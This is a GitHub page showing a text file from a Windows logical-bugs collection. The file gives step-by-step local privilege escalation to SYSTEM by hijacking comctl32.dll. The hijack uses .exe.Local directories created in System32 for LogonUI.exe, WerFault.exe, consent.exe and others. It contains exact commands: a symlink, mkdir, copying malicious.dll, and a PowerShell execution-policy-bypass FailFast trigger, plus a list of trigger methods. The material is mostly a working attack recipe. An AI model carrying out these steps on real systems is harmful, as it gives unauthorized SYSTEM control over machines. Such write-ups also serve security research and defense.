






 sailay1996 /

awesome\_windows\_logical\_bugs Public

 Notifications

 Fork 72

 Star 564

- <> Code
-  Issues
-  Pull requests 1
-  Actions
-  Projects
-  Security
-  Insights

awesome\_windows\_logical\_bugs / dir\_create2system.txt 





49 lines (29 loc) · 2.48 KB

CodeBlame

RawCopyDownloadCode

```
1 If you can create directory with FullControl access via service bugs, you can get SYSTEM shell from
2
3 Step 1. Create Directory in C:\windows\system32 as C:\Windows\System32\LogonUI.exe.Local .
4
5 createsymlink.exe C:\programdata\vulnlogs\somepath C:\Windows\System32\LogonUI.exe.Local
6
7 Then, you can create anything in C:\Windows\System32\LogonUI.exe.Local .
8
9 Step 2. Create directory in that folder.
10
11 mkdir C:\Windows\System32\LogonUI.exe.Local\amd64_microsoft.windows.common-controls_6595b64144ccf1c
12
13 Step 3. Create/copy payload dll file in that folder as comctl32.dll.
14
15 copy malicious.dll C:\Windows\System32\LogonUI.exe.Local\amd64_microsoft.windows.common-controls_65
16
17 Step 4. Then restart or logon-logoff (winKey+ l). Your payload dll will execute as SYSTEM.
18
19 Thanks @PsiDragon for this advice.
20
21
22 Another Method by @jonasLyk
23 https://twitter.com/jonasLyk/status/1241314339623141376
24 https://twitter.com/404death/status/1240917568870731776
25
```

```
25
26 get SYSTEM shell from WerFault.exe via dll hijacking.
27 Same method with above.
28
29 1. create folder as C:\Windows\System32\WerFault.exe.Local via service bugs.
30
31 2. mkdir C:\Windows\System32\WerFault.exe.Local\amd64_microsoft.windows.common-controls_6595b64144ccf1df
32
33 3. copy malicious.dll C:\Windows\System32\WerFault.exe.Local\amd64_microsoft.windows.common-controls_6595b64144ccf1df
34
35 4. powershell -ep bypass -c "[Environment]::FailFast('Error')". Your payload dll will execute as SYSTEM
36
37 -----
38
39 list process for directory create bug to system shell via comctl32.dll hijack like above methods.
40 1. C:\Windows\System32\consent.exe.Local (Triggered by running narrator.exe)
41 2. C:\Windows\System32\WerFault.exe.Local (Triggered by running powershell -ep bypass -c "[Environment]::FailFast('Error')")
42 3. C:\Windows\System32\LogonUI.exe.Local (Triggered by running winkey+l)
43 4. C:\Windows\System32\Narrator.exe.Local (Triggered by running winkey+l ,Ease of access , WinKey+Ctrl+Esc)
44 5. C:\Windows\System32\Wermgr.exe.Local (triggered by schtasks /run /TN "Microsoft\Windows\Windows Defender\Windows Defender
45 5. .... etc
46
47 https://github.com/RedyOpsResearchLabs/CVE-2020-1283\_Windows-Denial-of-Service-Vulnerability/
48
49 Another exploitation tricks by James Forshaw : https://googleprojectzero.blogspot.com/2017/08/windows-0day-aka-the-ghost-of-windows-0day/
```